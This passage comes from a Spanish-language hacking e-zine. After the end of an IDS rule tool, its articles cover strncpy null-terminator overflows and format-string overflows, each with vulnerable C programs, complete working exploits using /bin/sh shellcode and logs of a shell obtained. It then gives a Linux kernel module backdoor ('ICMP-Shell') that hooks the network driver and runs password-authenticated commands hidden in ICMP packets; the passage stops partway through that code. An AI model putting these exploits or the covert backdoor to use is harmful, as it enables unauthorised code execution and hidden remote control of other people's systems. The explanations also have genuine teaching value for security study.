int fin;
int rst;
int ack;
int psh;
int urg;
char mensaje[1024];
struct Regla_TCP *next;
};


struct estadisticas_TCP
{
int reglas_activas;
int reglas_in;
int reglas_out;
int pkt_reconocidos_in;
int pkt_reconocidos_out;
int pkt_examinados;
}stats_TCP;

---/ ids_kernel.c /---



---/ idsrule.c /---

/* idsrule.c
* Zisxko Chistems Presents IDS Español
* Programa que interactua con el fichero /proc/kernids, para pasar parametros
al
* area del Kernel
*/

#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <fcntl.h>
#include "ids_kernel.h"

#define MAX_PARAMETROS 12

char *param[MAX_PARAMETROS][3] = {
{"-IN","a","-2"},
{"-OUT","a","-1"},
{"-syn","f","0"},
{"-ack","f","1"},
{"-fin","f","2"},
{"-rst","f","3"},
{"-urg","f","4"},
{"-fin","f","5"},
{"-psh","f","6"},
{"-dport","p","7"},
{"-sport","p","8"},
{"-msg","m","9"}
};

void Usa()
{
int i;
system("clear");
printf("ziSXko IDS poguered!\n");
printf("Usa las Siguientes Opciones\n");
printf("-IN paquetes entrantes\n");
printf("-OUT paquetes salientes\n");
for(i=0;i<MAX_PARAMETROS;i++)
{
if(strcmp(param[i][1],"f")==0)
printf("\tFlag %s \n",param[i][0]);
if(strcmp(param[i][1],"p")==0)
printf("\tPuerto %s\n",param[i][0]);
if(strcmp(param[i][1],"m")==0)
printf("\tMensaje de Alerta %s\n",param[i][0]);
}
exit(-1);
}


int main(int argc,char *argv[]){
char buff[50];
char *opt;
struct Regla_TCP tcp;
int fd,len,i,j,aux;

if(getuid()!=0)
{
printf("Tienes que ser rOOt!\n");
exit(-1);
}


memset(&tcp,0,sizeof(struct Regla_TCP));
tcp.destino=-1;

for(i=1;i<argc;i++)
for(j=0;j<MAX_PARAMETROS;j++)
if(strcmp(argv[i],param[j][0])==0)
{
len=atoi(param[j][2]);
switch(len)
{
case -2:tcp.destino=PKT_IN;continue;
case -1:tcp.destino=PKT_OUT;continue;
case 0:tcp.syn=1;continue;
case 1:tcp.ack=1;continue;
case 2:tcp.fin=1;continue;
case 3:tcp.rst=1;continue;
case 4:tcp.urg=1;continue;
case 5:tcp.fin=1;continue;
case 6:tcp.psh=1;continue;
case 7:
if(i==argc-1)Usa();
if((aux=atoi(argv[i+1]))==-
1)Usa();
tcp.puerto_destino=aux;
continue;
case 8:
if(i==argc-1)Usa();
if((aux=atoi(argv[i+1]))==-
1)Usa();
tcp.puerto_origen=aux;
continue;
case 9:
if(i==argc-1)Usa();
sprintf(tcp.mensaje,"%s",argv
[i+1]);
continue;

default:Usa();
}
}

if(tcp.destino==-1)Usa();

/* printf("Porig(%d),Pdest(%d)",tcp.puerto_origen,tcp.puerto_destino);
printf("ACK(%d),SYN(%d),FIN(%d)",tcp.ack,tcp.syn,tcp.fin);
printf("RST(%d),URG(%d),PSH(%d)
(%s)\n"
,tcp.rst,tcp.urg,tcp.psh,tcp.mensaje);*/


fd=open("/proc/kernids",O_WRONLY);
if(fd==-1)
{
perror("open");
exit(-1);
}

len=write(fd,(char *)&tcp,sizeof(tcp));
if(len==-1)
{
perror("write");
close(fd);
exit(-1);
}
close(fd);
return 0;
}

---/ idsrule.c /---

-------------------------------------------------------------------------------


-------------------------------------------------------------------------------
---/ 2 /--/ Buffers overflow, por buffers sin caracter nulo /--/ Ripe /--------
-------------------------------------------------------------------------------


1.-Introduccion
---------------
Años atras, cuando se demostro la existencia de los buffers overflow, una
gran cantidad de software se vio afectado, pero actualmente los programadores
se han concienciado mas y han substitudo los strcpy()'s por strncpy()'s, lo
que reduce en gran cantidad en riesgo de explotacion, pero no del todo. Lo
que voy a presentar aqui no es, ni mucho menos, algo que se pueda encontrar
muy comunmente, pero puede existir.

Obviamente voy a suponer que conoceis como funcionan los buffers
overflow convencionales. De no ser asi te remito al documento que Doing y
yo escribimos en 7a69#9.




2.-strncpy() y el \0
--------------------
Como ya he dicho strncpy() se ha afianzado como una solucion facil y
rapida a los buffer overflow, sinembargo no es oro todo lo que reluce y
algunos programadores siguen haciendo el tonto y dejando brechas de seguridad
en sus programas (pese a usar strncpy()).

El caso es que hay muchas funciones que interpretan el caracter nulo
como final de cadena, y un programador no puede asegurar que tras hacer
un strncpy() haya un caracter nulo al final, pues, como se puede leer en la
man page, si el tamaño del buffer de origen coincide con maximo numero de
bytes a copiar no se colocara el \0 por ningun lado.

Para que quede clara la sosa vamos a ver un ejemplo muy sencillo en el
que declaramos dos buffers, los llenamos y luego sacamos uno de ellos por
pantalla.

---/ test1.c /---

int main(int argc, char **argv) {
char buf1[8];
char buf2[8];
if (argc<3) exit(0);
strncpy(buf1, argv[1], 8);
strncpy(buf2, argv[2], 8);
printf("%s\n", buf2);
}

---/ test1.c /---

Vamos a probar nuestro programilla...

barracuda~# ./test1 12 1234567
1234567
barracuda~# ./test1 123 12345678
12345678123

Oops, ha ocurrido algo raro, fijaos que en el segundo caso se ha imprimido
la segunda cadena y acto seguido la primera. ¿Porque ha ocurrido esto?
Sencillo, porque en el strncpy(buf2, argv[2], 8); argv[2] tiene un tamaño de
8 bytes y strncpy no permite que se copien mas de 8 bytes, por lo que el
caracter nulo no se puede situar en ninguna parte, y el parametro %s de
printf le dice que imprima hasta encontrar el proximo NULL. Veamos
graficamente lo que tendriamos en la pila.

Primera ejecucion Segunda ejecucion

[ ] [ ]
[ ] [ ]
[ ] [ ]
[ ] [ ]
[ ] [ 0 ]
[ 0 ] [ '3' ]
[ '2' ] [ '2' ]
buf1-> [ '1' ] buf1-> [ '1' ]
[ 0 ] [ '8' ]
[ '7' ] [ '7' ]
[ '6' ] [ '6' ]
[ '5' ] [ '5' ]
[ '4' ] [ '4' ]
[ '3' ] [ '3' ]
[ '2' ] [ '2' ]
buf2-> [ '1' ] buf2-> [ '1' ]




3.- Un programa vulnerable
--------------------------
El programa test1.c que hemos visto anteriormente, pese a presentar un
problema no es explotable, pues el buffer que tendra un tamaño superior a
lo previsto se imprime por salida standar. ¿Pero que ocurriria si en lugar
de usar printf usasemos sprintf? Con el siguiente ejemplo quedara mas
clara la cosa.

---/ vuln1.c /---

void crea_msg_buf(char *msg) {
char lbuf[8+1024];
sprintf(lbuf,"Message %s", msg);
printf("%s\n", lbuf);
}

int main(int argc, char *argv) {
char buf1[16];
char buf2[1024];
if (argc<3) exit(0);
strncpy(buf1, argv[1], 16);
strncpy(buf2, argv[2], 1024);
crea_msg_buf(buf2);
exit(0);
}

---/ vuln1.c /---

El buffer declarado en crea_msg_buf es de 1032 (1024 por mgs y 8 por lo
que cupa la cadena "Message"), lo que aparentemente libra a la funcion de ser
vulnerable. Pero no. Con lo que sabemos ahora vemos claramente que la funcion
crea_msg_buf puede llevar a la ejecucion de codigo arbitrarrio, pues nadie
nos asegura que encontraremos un caracter nulo antes de que los 1024 de
buf2 terminen.



4.- La explotacion
------------------
¿Como tendriamos que explotarlo? Pues muy sencillo. Colocamos una
shellcode en environ (lo que hara que este en una posicion de memoria
cercana a 0xC0000000), llenamos buf2 de caracteres no nulos, y metemos en
buf1 8 bytes, de los cuales los 2 ultimos corresponderan a la direccion de
retorno.

---/ expl1.c /---

#include <stdio.h>
#include <unistd.h>

#define ENVBUF_SIZE 8192
#define EVILBUF1_SIZE 8
#define EVILBUF2_SIZE 1024
#define NOP 0x90
#define RET_ADDR 0xBFFFFF50 /* Por ahi suele estar environ :) */

char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh\0";

int main(int argc, char **argv) {
char *exec_argv[4];
char *exec_envp[2];
char envbuf[ENVBUF_SIZE+1];
char evilbuf1[EVILBUF1_SIZE+1];
char evilbuf2[EVILBUF2_SIZE+1];
unsigned long *ret=&evilbuf1[4];
if (argc<2) {
printf("Usage: %s <prog>\n", argv[0]);
exit(0);
}
memset(envbuf, 0, ENVBUF_SIZE+1);
memset(envbuf, NOP, ENVBUF_SIZE);
memset(evilbuf1, 0, EVILBUF1_SIZE+1);
memset(evilbuf1, 'A', EVILBUF1_SIZE);
memset(evilbuf2, 0, EVILBUF2_SIZE+1);
memset(evilbuf2, 'A', EVILBUF2_SIZE);
memcpy(envbuf, "ENV=", 4);
memcpy(envbuf+(ENVBUF_SIZE-strlen(shellcode)), shellcode, strlen(shellcode));
(*ret)=RET_ADDR;
exec_argv[0]=argv[1];
exec_argv[1]=evilbuf1;
exec_argv[2]=evilbuf2;
exec_argv[3]=NULL;
exec_envp[0]=envbuf;
exec_envp[1]=NULL;
printf("Exploting...\n");
execve(argv[1], exec_argv, exec_envp);
printf("Something bad!\n");
}

---/ expl1.c /---

Veamos si este sencillo explit, explota bien vuln1.c.

barracuda ~# ./expl1 vuln1
Exploting...
Message AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPÿÿ¿
sh-2.05#

BINGO!! Aqui tenemos nuestra shell... Sencillo, no?



5.- Despedida
-------------
Como ya he dicho la tecnica aqui presentada es MUY poco comun, pues deben
darse bastantes condiciones para que un programa sea explotable, sinembargo
ahi esta para que lo expliquemos :)

Para solucionar este tipo de fallos basta con declarar los buffers con
un bytes mas, y segurarnos que ese byte sea un caracter nulo.

-------------------------------------------------------------------------------


-------------------------------------------------------------------------------
---/ 3 /--/ Buffer overflow, por bug de formato. /--/ Ripe /-------------------
-------------------------------------------------------------------------------

1.-Introduccion
---------------

Muy posiblemente hayais leido ultimamente sobre los bugs de formato y
sus posibles formas de explotacion. Si es asi, he de deciros que este articulo
no os aportara nada nuevo, pero ya que he decidido contar formas alternativas
de desbordar un buffer he decidido re-explicar algo que ya se ha publicado
en algun otro lado anteriormente, espero que no me flameeis por ello (recordad
que podeis ignorar el documento y no seguir leyendo, nadie os obliga).

Por otro lado, he de decir que esta forma de explotar los bugs de formato
es MUY poco comun, por lo que si quieres aprender formas de explotacion mas
comunes e intresantes te remitire al doc que Doing escribio hace ya tiempo
para SET.



2.-Algun concepto sobre *printf
-------------------------------

Los bugs de formato suelen darse en funciones que aceptan una entrada de
formato y sus parametros, por lo que esas funciones que hagan uso de la va_list
son susceptibles a ser explotadas, y entre ellas se encuentran printf, sprintf
y compañia. Dichas funciones aceptan un argumento que es un array en la que
se realizaran substituciones de formato en parejas de caracteres tales como
%s, %i, %c, etc. Si quieres mas informacion sobre el funcionamiento de este
tipo de funciones pudes encontrar muchisima informacion en la pagina man y en
el codigo fuente de la glibc.

En el caso de explotacion que voy a explicar queremos desbordar un
buffer, por lo que nos intresan unicamente las funciones que esciben sobre
un buffer como puede ser sprintf, cuyo primer parametro es el buffer al que
queremos copiar el formato, el segundo parametro es el formato y el resto
son los argumentos pasados para el formato. ¿Que ocurre si en la cadena de
formato se solicitan una serie de parametros que realmente no se pasan?
Sencillo, sprintf no se da cuenta, por lo que usara los valores que hay
actualmente en la pila y actuara normalmente, eso quiere decir que situaciones
como la siguiente pueden ser perfectamente posibles.

sprintf(buf, "%i%i%i");

NOTA: Se esta desarroyando, de echo ya esta hecha pero pocos sistemas la tienen
una libc que controla el numero de parametros solicitado y el numero de
paramtros pasado para detectar errores de este tipo, por lo que es MUY
posible que los bugs de formato tengan los dias contados.




3.-¿Cuando y como es explotable?
--------------------------------

Podriamos decir, basicamente que un programa que usa este tipo de
funciones es explotable cuando el usuario del mismo puede ser capaz de alterar
o crear el buffer que describe el formato. Un ejemplo de programa explotable
seria el siguiente.

---/ vulnerable.c /---

#include <stdio.h>

#define BZ 256

int main(int argc, char **argv) {
char buf2[BZ+1];
char buf1[BZ+1];
if (argc<2) exit(0);
memset(buf1, 0, BZ+1);
memset(buf2, 0, BZ+1);
strncpy(buf1, argv[1], BZ);
sprintf(buf2, buf1);
printf("%s\n", buf2);
}

---/ vulnerable.c /---


Como podeis ver en el sprintf() se pretende copiar el contenido del buf1
en el buf2, cosa que no parece ser peligrosa. Pero si nos damos cuenta, veremos
que buf1 sera interpretado como un string de formato, por lo que parejas de
caracteres como %s, %x, etc seran substituidas... ¿Substituidas porque? Pues
extraera los valores que haya en la pila, como si se hubieran pasado como
parametro. De todos modos, para exte tipo de explotacion de bugs de formato no
es necesario tener en cuenta los valores de la pila, solo el echo de que el
string se puede expandir a causa del fomato. Veamoslo con un ejemplo de
ejecucion:


donasec ~# ./vulnerable hola
hola
donasec ~# ./vulnerable expandete%x%x%x%x
expandete1000bffffbc4400024ba
donasec ~#


Podeis obserbar claramente la rareza. Los "%x%x%x%x" ha sido substituidos
por "1000bffffbc4400024ba", y strlen("%x%x%x%x") es menor que
strlen("1000bffffbc4400024ba"), por lo que si pones los suficientes %x puedes
llegar a desbordar el buf2 y sobreescribir el valor de RET.


donasec ~# ./vulnerable expandete%x%x%x%x%xx%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%
expandete1000bffffb44400024babffffd70x40002604617078657465646e2578256525782578787825787825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782525000000000000000000000
Segmentation fault
donasec ~#


Si has sido observador, te habras dado cuenta que no todos los "%x" son
substituidos por un numero con las mimas cifras, lo que, en principio nos
priva el control del tamaño del buffer que se va a crear, sinembargo si hacemos
algo como "%.8x" nos aseguramos que se imprimiran 8 cifras/caracteres.


donasec ~# ./vulnerable %.8x
00000100
donasec ~#


Vamos ahora a hacer una pequeña prueba con gdb, para que veais lo facil
que es explotar este tipo de programas.


donasec ~# gdb vulnerable
GNU gdb 5.0.90-cvs (MI_OUT)
Copyright 2001 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-linux"...(no debugging symbols found)...
(gdb) r %.264xAAAA
Starting program: /tmp/vulnerable %.264xAAAA
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100AAAA
(no debugging symbols found)...(no debugging symbols found)...
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) quit
The program is running. Exit anyway? (y or n) y
donasec ~#


Con %.264x llenamos ya el buffer (que es de 260 debido a la alineacion que
se realiza en el stack) y EBP, de manera que las 4 A's (de ahi el 0x41414141)
siguientes van destinadas a RET. Simple, facil, sencillo... ¿no?

No creo que sea necesario que meta aqui el exploit, pues si habeis
entendido el funcionamiento de esta tecnica (y creo que es lo suficientemente
simple como para que lo hayais hecho) sereis capaces de hacerlo vosotros
mismos, sinembargo para seguir la tonica y la tradicion de los articulos de
explotacion aqui os lo dejo.


---/ exploit.c /---

#include <stdio.h>
#include <unistd.h>

#define ENVBUF_SIZE 8192
#define NOP 0x90
#define RET_ADDR 0xBFFFFF50 /* Por ahi suele estar environ :) */

char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh\0";

int main(int argc, char **argv) {
char *exec_argv[3];
char *exec_envp[2];
char envbuf[ENVBUF_SIZE+1];
char evilbuf[]="%.264xAAAA\0";
unsigned long *ptr=&evilbuf[6];
if (argc<2) {
printf("Usage: %s <prog>\n", argv[0]);
exit(0);
}
memset(envbuf, NOP, ENVBUF_SIZE);
memcpy(envbuf, "ENV=", 4);
memcpy(envbuf+(ENVBUF_SIZE-strlen(shellcode)), shellcode, strlen(shellcode));
(*ptr)=RET_ADDR;
exec_argv[0]=argv[1];
exec_argv[1]=evilbuf;
exec_argv[2]=NULL;
exec_envp[0]=envbuf;
exec_envp[1]=NULL;
printf("Exploting...\n");
execve(argv[1], exec_argv, exec_envp);
printf("Something bad!\n");
}

---/ exploit.c /---


A probar...


donasec ~# ./exploit vulnerable
Exploting...
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100Pÿÿ¿
sh-2.05a#



4.- Conclusion
--------------

Si bien los problemas presentados por bugs de formato (como puede ser el
encontrado en la version 2.6.0 del wu-ftpd) suelen usar otra tecnica de
explotacion algo mas compleja, ya que las funciones *printf no escriben en
un buffer sino en pantalla, un socket o un fichero, queda demostrado que en
ciertas ocasiones se puede usar esta tecnica de explotacion, que es ademas
MUY sencilla de realizar.



-------------------------------------------------------------------------------


-------------------------------------------------------------------------------
---/ 4 /--/ ICMP-Shell atraves del kernel. /--/ ZiSXko /-----------------------
-------------------------------------------------------------------------------


1.- ICMP-Shell
--------------

Vamos a explicar en que consiste el siguiente codigo y la utilidad que puede
tener este para nosotros en futuros proyectos o en lo que nos apetezca hacer
Se trata de un modulo del Kernel el cual lo podriamos desglosar en las
siguientes partes:

* Acceso al Sistema de Ficheros /proc

* Control y ejecucion de Hilos del Kernel

* Acceso a un driver

Para que entendamos el funcionamiento del codigo vamos a realizar una breve
descripcion de lo que realiza el modulo.

El modulo se carga y cambia la funcion para enviar paquetes del driver
(hard_start_xmit) especificado y crea un hilo que comprueba constantemente el
valor de una variable.

Cuando el cliente envia un paquete ICMP con code=8 y type=0 con unas
caracteristicas determinadas el Sistema en el que este el modulo cargado lo mas
normal es que responda a ese paquete con una copia de este pero cambiando
ciertos parametros, direccion, type, code, etc...

El host responde a ese paquete la ultima funcion que ejecutara de la pila, en
un linux :), sera hard_start_xmit, la cual nostros tenemos interceptada y
podremos ver si el paquete viene firmado en este caso con una password que en
este caso es zIsXkO.

Una vez que el paquete esta autentificado y reconocido por nuestra funcion se
indica al hilo principal que se prepare para la ejecucion de la instruccion que
viene en el paquete y la ejecutara.

Como al hilo no le habra dado tiempo a ejecutar el comando recivido al cliente
le mandaremos una notificacion de espera y el cliente nos respondera con una
notificacion de que esta esperando.

El hilo se prepara a ejecutar y lanza un hilo hijo que redireccionara su salida
al fichero que tenemos en /proc, y nuestro buffer para enviar los datos se
rellenara, y cuando recivamos un paquete autentificado del cliente le
encapsularemos los datos de vuelta.

Bueno el resto del codigo esta comentado y espero que os sea de utilidad para
vuestros modulitos y demas codigos que realiceis


2.- El codigo
-------------

---/ icmp.c /---

/* icmp.c
* Zisxko Chistems Presents
* Compilar con
* gcc icmp.c -c -fomit-frame-pointer -O2
* Este codigo fuente ha sido desarrolado bajo un kernel 2.4.12
*/

#define MODULE
#define __KERNEL__
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/skbuff.h>
#include <linux/netdevice.h>
#include <linux/in.h>
#include <linux/ip.h>
#include <linux/icmp.h>
#include <linux/pkt_sched.h>
#include <sys/syscall.h>
#include <asm/uaccess.h> /* para el espacio de direcciones */
#include <linux/unistd.h>
#include <linux/sched.h>

#include <linux/tqueue.h>
#include <linux/wait.h>
#include <asm/unistd.h>
#include <asm/semaphore.h>
#include <asm/smplock.h>/* para las fuciones lock_kernel y unlock_kernel*/
#include <linux/brlock.h>

#include <linux/signal.h>
#include <linux/proc_fs.h>
#include "icmp.h"

#define TEMP_FICHERO "/proc/tmpicmp" /*fichero donde redireccionamos la salida
del comando
a ejecutar */

#define FICHERO_PROC_USER_KERNEL "tmpicmp"

static char *envp[] = { "HOME=/", "TERM=tty1", "PATH=/sbin:/bin", NULL };
int errno=0;

struct net_device *net_dispo;
int (*original_hard_start_xmit)(struct sk_buff *skb, struct net_device *dev);

atomic_t hay_instruccion;/* variable que utilizamos como un semaforo ,
para indicar al hilo que hay una instruccion para ejecutar*/

atomic_t instruccion_ejecutada; /* indicamos que el hilo ejecuto la instruccion
y el
buffer con la info esta disponible */

char buffer[MAX_BUFFER];/*buffer con los datos de salida */
char comando[MAX_BUFFER];
char *instruccion[9];
char comando_path[MAX_BUFFER];

char *dispositivo="eth0";

typedef struct kthread_struct
{
/* estructura de la tarea donde va ha estar el hilo asociado */
struct task_struct *thread;
/* Cola de tareas que necesitamos para lanzar el hilo */
struct tq_struct tq;
/* funcion para iniciar el hilo */
void (*function) (struct kthread_struct *kthread);
/* cola de hilos */
wait_queue_head_t queue;

int kill_flag;

} kthread_t;

kthread_t hilo_comando;

/* Funciones para el user-space */
static inline _syscall2 (int, open, char *, name, int, mode);
static inline _syscall1 (int, close, int, fd);
static inline _syscall1 (int, waitpid, int, pid);
static inline _syscall2 (int, dup2, int, fd, int, disp);
static inline _syscall3 (int, execve, char *, file, char **, argv, char **,
env);

/* Declaracion global de struct packet_type */
struct packet_type paquete;
struct proc_dir_entry *ent;

/******************************************************************/
/* */
/* Funciones para el Acceso al /proc */
/* */
/******************************************************************/

static ssize_t salida_fichero_swap(struct file *file,char *buf,size_t
len,loff_t *offset)
{
/* Este codigo se puede comentar pero suele ser muy util ver lo que
la otra persona esta realizando y con un simple more /proc/tmpicmp lo vemos :
)*/

static int finished=0;
int i;

if(finished)
{
finished=0;
return 0;
}

for(i=0;i<len && buffer[i];i++)
put_user(buffer[i],buf+i);

finished=1;
return i;
}

static ssize_t entrada_fichero_swap(struct file *file,const char *buf,size_t
lenght,loff_t *offset)
{
/*El proceso esta escribiendo la salida de su ejecucion en nosotros */
int aux,i;

for(i=0;i<MAX_BUFFER-1 && i<lenght;i++)
get_user(buffer[i],buf+i);

buffer[i]= '\0';

return i;
}

static int fichero_swap_permisos(struct inode *inode,int op)
{
/* op==4 es lectura , op==2 es escritura y solo puede hacerlo el root */
if(op==4||(op==2 && current->euid==0))
return 0;
return -EACCES;
}

int abrir_fichero_swap(struct inode *inode,struct file *file)
{
MOD_INC_USE_COUNT;
return 0;
}

int cierra_fichero_swap(struct inode *inode,struct file *file)
{
MOD_DEC_USE_COUNT;
return 0;
}

static struct file_operations Operaciones_fichero_swap = {
read:salida_fichero_swap,
write:entrada_fichero_swap,
open:abrir_fichero_swap,
release:cierra_fichero_swap
};

static struct inode_operations Operaciones_sobre_Inodo_swap = {
create:&Operaciones_fichero_swap,
permission:fichero_swap_permisos
};

static struct proc_dir_entry Entrada_fichero_Proc_swap = {
0,
7,
FICHERO_PROC_USER_KERNEL,
S_IFREG|S_IRUGO|S_IWUSR,
1,
0,
0,
MAX_BUFFER,
&Operaciones_sobre_Inodo_swap,
&Operaciones_fichero_swap,
NULL
};


/****************************************************************/
/* */
/* Funciones Auxiliares */
/* */
/****************************************************************/

void copia_buffer_desde(char *cad1,const char *cad2,int pos){
int k;
char *i,*j;

i=cad1;
j=cad2;

for(k=0;k<pos;k++)j++;

while(*j)
{
*i=*j;
i++;
j++;
}
}

/****************************************************************/
/* */
/* Funciones para el tratamiento ICMP */
/* */
/****************************************************************/


u_short in_chksum(u_short *ptr, int nbytes)
{
register long sum; /* assumes long == 32 bits */
u_short oddbyte;
register u_short answer; /* assumes u_short == 16 bits */
sum = 0;

while (nbytes > 1)
{
sum += *ptr++;
nbytes -= 2;
}
if (nbytes == 1)
{
oddbyte = 0; /* make sure top half is zero */
*((u_char *) &oddbyte) = *(u_char *)ptr; /* one byte only */
sum += oddbyte;
}
sum = (sum >> 16) + (sum & 0xffff); /* add high-16 to low-16 */
sum += (sum >> 16); /* add carry */
answer = ~sum; /* ones-complement, then truncate to 16 bits */
return((u_short) answer);
}


int filtro_icmp(struct sk_buff *skb, struct net_device *dev)
{
unsigned long flags;
char *data;
int datalen;
char buffer_aux[MAX_BUFFER];

if(skb->protocol==__constant_htons(ETH_P_IP))
if(skb->nh.iph->version==4)
{
skb->h.raw=skb->nh.raw + skb->nh.iph->ihl *4;/* Ajustamos el paquete
*/

if(skb->nh.iph->protocol==IPPROTO_ICMP)
{
if((skb->h.icmph->type==0)&&(skb->h.icmph->type==0))
{
data=(skb->h.raw)+sizeof(struct icmphdr);
datalen=skb->len;
if(datalen>=strlen(PASS))
{
memset(buffer_aux,0,MAX_BUFFER);
sprintf(buffer_aux,"%s",data);
if(strncmp(buffer_aux,PASS,strlen
(PASS))==0)
{
if(strncmp(&buffer_aux[strlen
(PASS)],CLIENTE_INSTRUCCION,1)==0)
{
/* a llegado una peticion de ejecucion por parte del cliente */
memset
(comando_path,0,MAX_BUFFER);
copia_buffer_desde
(comando_path,buffer_aux,strlen(PASS)+1);

/* Bloqueamos el driver y guardamos el estado de los flags */
spin_lock_irqsave(&dev-
>queue_lock,flags);

atomic_set
(&hay_instruccion,1);
/* Desbloqueamos el driver y restauramos el estado de los flags */
spin_unlock_irqrestore(&dev-
>queue_lock,flags);
}

memset(buffer_aux,0,MAX_BUFFER);

if(atomic_read
(&instruccion_ejecutada)==1)
{
/*La instruccion se ejecuto y la encapsulamos los resultados*/
strcat
(buffer_aux,HOST_DATOS);
strncat
(buffer_aux,buffer,MAX_BUFFER-1);
atomic_dec(&instruccion_ejecutada);
}
else
{
/*No dio tiempo al hilo a
ejecutar la instruccion*/

strcat
(buffer_aux,HOST_PROCESANDO_INSTRUCCION);
}

memcpy(data,buffer_aux,datalen);

/*Recalculamos el paquete*/
memset(&skb->nh.iph->check,0,2);
skb->nh.iph->check=in_chksum((u_short
*)skb->nh.iph,skb->nh.iph->ihl*4);
memset(&skb->h.icmph->checksum,0,2);
skb->h.icmph->checksum=in_chksum(
(u_short *)skb->h.icmph,sizeof(struct icmphdr));
}
}
}
}
}
return(original_hard_start_xmit(skb,dev));
}

/****************************************************************/
/* */
/* Funciones para el tratamiento de los hilos */
/* */
/****************************************************************/

void mata_hilo_kernel(kthread_t *khilo)
{
lock_kernel();

mb();

khilo->kill_flag=1;

mb();

kill_proc(khilo->thread->pid, SIGKILL, 1);/*enviamos la señal de muerte
al hilo*/


unlock_kernel();/* desbloqueamos el kernel */

/* ahora sabemos que el hilo esta en estado zombie, y llamamos
al hilo keventd para que lo elimine totalmente */

kill_proc(2, SIGCHLD, 1);
}

static void kthread_launcher(void *data)
{
kthread_t *kthread = data;
kernel_thread((int (*)(void *))kthread->function, (void *)kthread, 0);

}


void inicia_hilo_kernel(void (*func)(kthread_t *), kthread_t *khilo)
{

khilo->function=func;/*guardamos la funcion a Ejecutar */

/* inicializamos la estruccutrua en la cola de tareas */
khilo->tq.sync = 0;
INIT_LIST_HEAD(&khilo->tq.list);
khilo->tq.routine = kthread_launcher;
khilo->tq.data = khilo;

/* y la ponemos lista para ejecucion en el planificador */
schedule_task(&khilo->tq);
}


void init_hilo_kernel(kthread_t *khilo, char *name)
{
lock_kernel();/* bloqueamos el kernel */

khilo->thread = current;/* asignamos a nuestra estruccura el propio
proceso */


/* establecemos las señales que queremos responder con el hilo */
siginitsetinv(¤t->blocked, sigmask(SIGKILL)|sigmask
(SIGINT)|sigmask(SIGTERM));

/* inicializamos al cola de espera */
init_waitqueue_head(&khilo->queue);

khilo->kill_flag=0;/* inicializamos el flag a 0, osea para que no
muera*/


/* establecemos el nombre del hilo, que es el que aparecerna en un ps ,
maximo 15 caracteres + 0 */

sprintf(current->comm, name);

unlock_kernel();/*desbloqueamos el kernel para que el resto pueda currar
un

  
poquito, pero poco */

}

int hilo_ejecutor(void *args)
{
mm_segment_t old_fs;
int fd;

old_fs=current->addr_limit;
current->addr_limit=(KERNEL_DS);

fd=open(TEMP_FICHERO,O_WRONLY);
if(fd!=-1)
{
dup2(fd,1);
close(fd);
execve(comando_path,instruccion ,envp);
}
current->addr_limit=old_fs;
}

static void hilo_de_ejecucion(kthread_t *khilo)
{
char aux[MAX_BUFFER];
int i,val;
